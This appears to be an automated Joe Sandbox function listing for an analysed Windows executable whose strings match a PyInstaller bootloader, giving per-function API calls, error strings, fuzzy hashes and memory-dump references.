API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 96457cfd391f5a6e961bd355bdc95e6a6cce5f6f06dd05e2cbaebf67e8b3e16c
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: 0BC1DF32B2CA5296EB14FF68C5906AD3765FB8AB98B010235DF2E97794CF38E551C300

Function 00007FF6404E79B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7A1B
RemoveDirectoryW.KERNEL32(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7A9E
DeleteFileW.KERNELBASE(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ABD
FindNextFileW.KERNELBASE(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ACB
FindClose.KERNELBASE(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7ADC
RemoveDirectoryW.KERNELBASE(?,00007FF6404E7EF9,00007FF6404E39E6), ref: 00007FF6404E7AE5

Strings

%s\*, xrefs: 00007FF6404E79E2

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 28b17b752644ad79b76fdaecccd908953f702e209cd2b6248263d266171aeab9
Instruction ID: 135ee184f5db4f079a8e8967783671618695dee313c272bd813e7931e680f166
Opcode Fuzzy Hash: 28b17b752644ad79b76fdaecccd908953f702e209cd2b6248263d266171aeab9
Instruction Fuzzy Hash: 0A417321A0C562E5EA20FB24E5949BD6360FFA5764F440632D9ADC37D4DF3CE64AC780

Function 00007FF64050518C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6405051BA

Part of subcall function 00007FF640504908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF64050491C

_get_daylight.LIBCMT ref: 00007FF6405051CB

Part of subcall function 00007FF6405048A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048BC

_get_daylight.LIBCMT ref: 00007FF6405051DC

Part of subcall function 00007FF6405048D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6405048EC

Part of subcall function 00007FF6404F9C58: RtlFreeHeap.NTDLL(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C6E
Part of subcall function 00007FF6404F9C58: GetLastError.KERNEL32(?,?,?,00007FF640502032,?,?,?,00007FF64050206F,?,?,00000000,00007FF640502535,?,?,?,00007FF640502467), ref: 00007FF6404F9C78

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF64050541C), ref: 00007FF640505203

Strings

Eastern Standard Time, xrefs: 00007FF6405052A9
Eastern Summer Time, xrefs: 00007FF6405052C1

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction ID: b58667a0859c4565491414ec19ff1220c40c75b2265e47e50320d6277c7c88b0
Opcode Fuzzy Hash: ae64d4b013316384daf219013b3406c3cfe35626df30cbdeb691f729cbc9c9de
Instruction Fuzzy Hash: 8F51A336A0C662A6E718FF21DA811AD6760FF4A788F444539EA2DC7796DF3CE440CB40

Function 00007FF6404E85A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6404E85D3
FindClose.KERNELBASE ref: 00007FF6404E85E2

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 5fe66202e177d99c7f807aff829b301774400ae6d1a0f4e7f2fd14126836dceb
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 45F0A432A1C652D6FB70FB60B59836A7350EB44328F040239D96D427D4CF7CD058CB00

Function 00007FF6404FFBD8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: 2b6c2d1e4c043c62936e9dac6caf21e199e31a345cf4845f2c7219b702089de4
Instruction ID: eec9e4a028447adb97fbaa17f0f7e0e33bc95f8252d58717aefef1821848cd61
Opcode Fuzzy Hash: 2b6c2d1e4c043c62936e9dac6caf21e199e31a345cf4845f2c7219b702089de4
Instruction Fuzzy Hash: A902E221B1D6B7A1FE68FB1195402BE228AEF42BA8F444639DD6DC73D2DE3CE4419710

Function 00007FF6404E18F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6404E76A0: _fread_nolock.LIBCMT ref: 00007FF6404E774A

_fread_nolock.LIBCMT ref: 00007FF6404E19B4

Part of subcall function 00007FF6404E2760: MessageBoxW.USER32 ref: 00007FF6404E283B

Strings

Could not read full TOC!, xrefs: 00007FF6404E1AD4
Error on file., xrefs: 00007FF6404E1B0A
calloc, xrefs: 00007FF6404E19F5
Could not allocate buffer for TOC!, xrefs: 00007FF6404E1AA1
malloc, xrefs: 00007FF6404E1AA8
MEI, xrefs: 00007FF6404E1931
fseek, xrefs: 00007FF6404E1990
Failed to seek to cookie position!, xrefs: 00007FF6404E1989
Could not allocate memory for archive structure!, xrefs: 00007FF6404E19EE
fread, xrefs: 00007FF6404E19C6, 00007FF6404E1ADB
Failed to read cookie!, xrefs: 00007FF6404E19BF

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: 236455c93dc43fd7a620dd61a6bb9a5e6f0e22496eee16819a67f7c28e7b8b6a
Instruction ID: 6bbb6f01bdc374e6d4f218129cfe3cf7c1562051f67e955ab5da4f0e7476a31b
Opcode Fuzzy Hash: 236455c93dc43fd7a620dd61a6bb9a5e6f0e22496eee16819a67f7c28e7b8b6a
Instruction Fuzzy Hash: 2671C231B1C6A6E9EB24FB24D5902BD2390FF89784F444035D98DC77AAEE6CE5448B80

Function 00007FF6404E15C0 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fopen, xrefs: 00007FF6404E161E
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6404E165B
malloc, xrefs: 00007FF6404E16F6
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6404E168E
fseek, xrefs: 00007FF6404E1695
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6404E1785
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6404E1775
fread, xrefs: 00007FF6404E178C
Failed to extract %s: failed to open target file!, xrefs: 00007FF6404E1617
Failed to create symbolic link %s!, xrefs: 00007FF6404E15E2
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF6404E16EF
fwrite, xrefs: 00007FF6404E177C

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2030045667-1550345328
Opcode ID: da3c2283609267b7beca66522936ce60a31ed649130e46d0b9ee1e579e4b20c7
Instruction ID: dfd4575e4f547f119721587526c5d570a059d85c798b5f96c23ea6539c55306f
Opcode Fuzzy Hash: da3c2283609267b7beca66522936ce60a31ed649130e46d0b9ee1e579e4b20c7
Instruction Fuzzy Hash: AC51AD61B0C663F2EA14FB25AA405B923A1FF85B98F444131EE1D87BA5EF7CE5548380

Function 00007FF6404E7FC0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 89
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6404E86B0: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6404E3FA4,00000000,00007FF6404E1925), ref: 00007FF6404E86E9

SetConsoleCtrlHandler.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E800A
GetStartupInfoW.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E802B

Part of subcall function 00007FF6404F978C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F97A0

Part of subcall function 00007FF6404F7A2C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F7A93

GetCommandLineW.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E80CD
CreateProcessW.KERNELBASE ref: 00007FF6404E810F
WaitForSingleObject.KERNEL32(?,00007FF6404E39C0), ref: 00007FF6404E8123
GetExitCodeProcess.KERNELBASE ref: 00007FF6404E8133

Strings

Failed to create child process!, xrefs: 00007FF6404E813F
CreateProcessW, xrefs: 00007FF6404E8146

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Failed to create child process!
API String ID: 2895956056-699529898
Opcode ID: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction ID: 47de76dc5fa4126ef7c5004b4db62545672ab9370504d5136caecccf2e9b28ea
Opcode Fuzzy Hash: 2d8580ce5d81a01d0f8683f73fef31206a84e7faf833a053d17f215ed92b6c27
Instruction Fuzzy Hash: EF41FB31A1CB9291EA20BB64E4952AEB2A5FB89364F500335E6AD877D9DF7CD0448B40

Function 00007FF6404E11F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF6404E1295
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF6404E1256
malloc, xrefs: 00007FF6404E129C, 00007FF6404E12CA
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF6404E12C3
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF6404E13EE
1.3.1, xrefs: 00007FF6404E1229

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: d861c908b3ab48e6fc6dc20ba232feaabb5c99f7ec28589f5dcfaa4faba5a722
Instruction ID: 235a19356c93ce3a42da2f38b45c00a33ccb645bdc8f96a1bfa84f363406d5ea
Opcode Fuzzy Hash: d861c908b3ab48e6fc6dc20ba232feaabb5c99f7ec28589f5dcfaa4faba5a722
Instruction Fuzzy Hash: 2A51E172A0C662E1FA20FB15A9403BA6291FB85794F440135EE5DC7BE6EF3CE541C780

Function 00007FF6404FE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF6404FE3BA,?,?,-00000018,00007FF6404FA063,?,?,?,00007FF6404F9F5A,?,?,?,00007FF6404F524E), ref: 00007FF6404FE19C
GetProcAddress.KERNEL32(?,?,?,00007FF6404FE3BA,?,?,-00000018,00007FF6404FA063,?,?,?,00007FF6404F9F5A,?,?,?,00007FF6404F524E), ref: 00007FF6404FE1A8

Strings

ext-ms-, xrefs: 00007FF6404FE0F9
api-ms-, xrefs: 00007FF6404FE0E6

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: b6910443d84c49c151f59c00ef2200bc76ce80b2dbad949d85a3e33c553a0d70
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: A141E231B1DA22E1FA16FB17AA0467A229BFF45B90F084535DD1DC7784EE3CEA458300

Function 00007FF6404E7C40 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E7CE4
CreateDirectoryW.KERNELBASE(?,?,FFFFFFFF,00007FF6404E3834), ref: 00007FF6404E7D2C

Part of subcall function 00007FF6404E7E10: GetEnvironmentVariableW.KERNEL32(00007FF6404E365F), ref: 00007FF6404E7E47
Part of subcall function 00007FF6404E7E10: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6404E7E69

Part of subcall function 00007FF6404F7548: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6404F7561

Part of subcall function 00007FF6404E26C0: MessageBoxW.USER32 ref: 00007FF6404E2736

Strings

TMP, xrefs: 00007FF6404E7C7C, 00007FF6404E7D83
TMP, xrefs: 00007FF6404E7CA2
_MEI%d, xrefs: 00007FF6404E7CF2
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6404E7D5E
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6404E7CBC

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Environment$CreateDirectoryExpandMessagePathStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 740614611-1339014028
Opcode ID: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction ID: 05379c9ae0fcb58b5ad99494fa2f29691be71f51bb853eeff872209563e4896b
Opcode Fuzzy Hash: e203fb9b2ed022230aea9b70073d79c64569b0fcacf7335b186391ffe1e7d089
Instruction Fuzzy Hash: 00419121A0D662E0FA24FB619A55AFA2255EF957D4F405131EE1DC7796EE3CE5008380

Function 00007FF6404FAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6404FB199

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction ID: 1befe4a4177dd3b3873daa27a92c6d9d73791894762db0d4e42a47cfc4a13dbd
Opcode Fuzzy Hash: 7e4b6968f21da67f115f2b5899b729ebe27c21aa0167ab1df282e77588440d71
Instruction Fuzzy Hash: 6FC10162A0C6A7F1EB64BB1494402BE37AAFB92BC0F550131EA5D877D1CF7CE8558740

Function 00007FF6404E7B50 Relevance: 10.6, APIs: 7, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6404E7B70
OpenProcessToken.ADVAPI32 ref: 00007FF6404E7B83
GetTokenInformation.KERNELBASE ref: 00007FF6404E7BA8
GetLastError.KERNEL32 ref: 00007FF6404E7BB2
GetTokenInformation.KERNELBASE ref: 00007FF6404E7BF2
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6404E7C0E
CloseHandle.KERNEL32 ref: 00007FF6404E7C26

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction ID: ac2e215d320ffff1b355f9a19b0d4e3315f0727fb6e3c8e833f686094dd3892a
Opcode Fuzzy Hash: 62e4819b0c80cd137060bb94e6a3fe70b8e549ab62dcd95e051829f5e08db428
Instruction Fuzzy Hash: 0221A031A0CA5292EB20FB55E58462AB3A5EF917F4F200235EA7C83BE4DF7CD4858740

Function 00007FF6404E33E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF6404E3534), ref: 00007FF6404E3411

Part of subcall function 00007FF6404E29E0: GetLastError.KERNEL32(?,?,?,00007FF6404E342E,?,00007FF6404E3534), ref: 00007FF6404E2A14
Part of subcall function 00007FF6404E29E0: FormatMessageW.KERNEL32(?,?,?,00007FF6404E342E), ref: 00007FF6404E2A7D
Part of subcall function 00007FF6404E29E0: MessageBoxW.USER32 ref: 00007FF6404E2ACF

Strings

\\?\, xrefs: 00007FF6404E3482
Failed to obtain executable path., xrefs: 00007FF6404E341B
Failed to resolve full path to executable %ls., xrefs: 00007FF6404E3461
Failed to convert executable path to UTF-8., xrefs: 00007FF6404E34B8
GetModuleFileNameW, xrefs: 00007FF6404E3422

Memory Dump Source

Source File: 00000000.00000002.1983679219.00007FF6404E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6404E0000, based on PE: true

Associated: 00000000.00000002.1983626811.00007FF6404E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983720990.00007FF64050B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF64051E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983759772.00007FF640524000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983825892.00007FF640526000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6404e0000_rename_me_before.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 38c06243298b15ed8099fe7993e28303999cab98f5eaaac513a8b9e0303a0545
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: A121A461B1C563F1FE25FB24E9553BA1260BF49395F800236DA6DC67D6EE2CE504C780

Function 00007FF6404E8400 Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 64
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6404E7B50: GetCurrentProcess.KERNEL32 ref: 00007FF6404E7B70
Part of subcall function 00007FF6404E7B50: OpenProcessToken.ADVAPI32 ref: 00007FF6404E7B83
Part of subcall function 00007FF6404E7B50: GetTokenInformation.KERNELBASE ref: 00007FF6404E7BA8
Part of subcall function 00007FF6404E7B50: GetLastError.KERNEL32 ref: 00007FF6404E7BB2
Part of subcall function 00007FF6404E7B50: GetTokenInformation.KERNELBASE ref: 00007FF6404E7BF2
Part of subcall function 00007FF6404E7B50: ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6404E7C0E
Part of subcall function 00007FF6404E7B50: CloseHandle.KERNEL32 ref: 00007FF6404E7C26

LocalFree.KERNEL32(?,00007FF6404E3814), ref: 00007FF6404E848C
LocalFree.KERNEL32(?,00007FF6404E3814), ref: 00007FF6404E8495

Strings

S-1-3-4, xrefs: 00007FF6404E8441
D:(A;;FA;;;%s), xrefs: 00007FF6404E8477
D:(A;;FA;;;%s)(A;;FA;;;%s), xrefs: 00007FF6404E8462
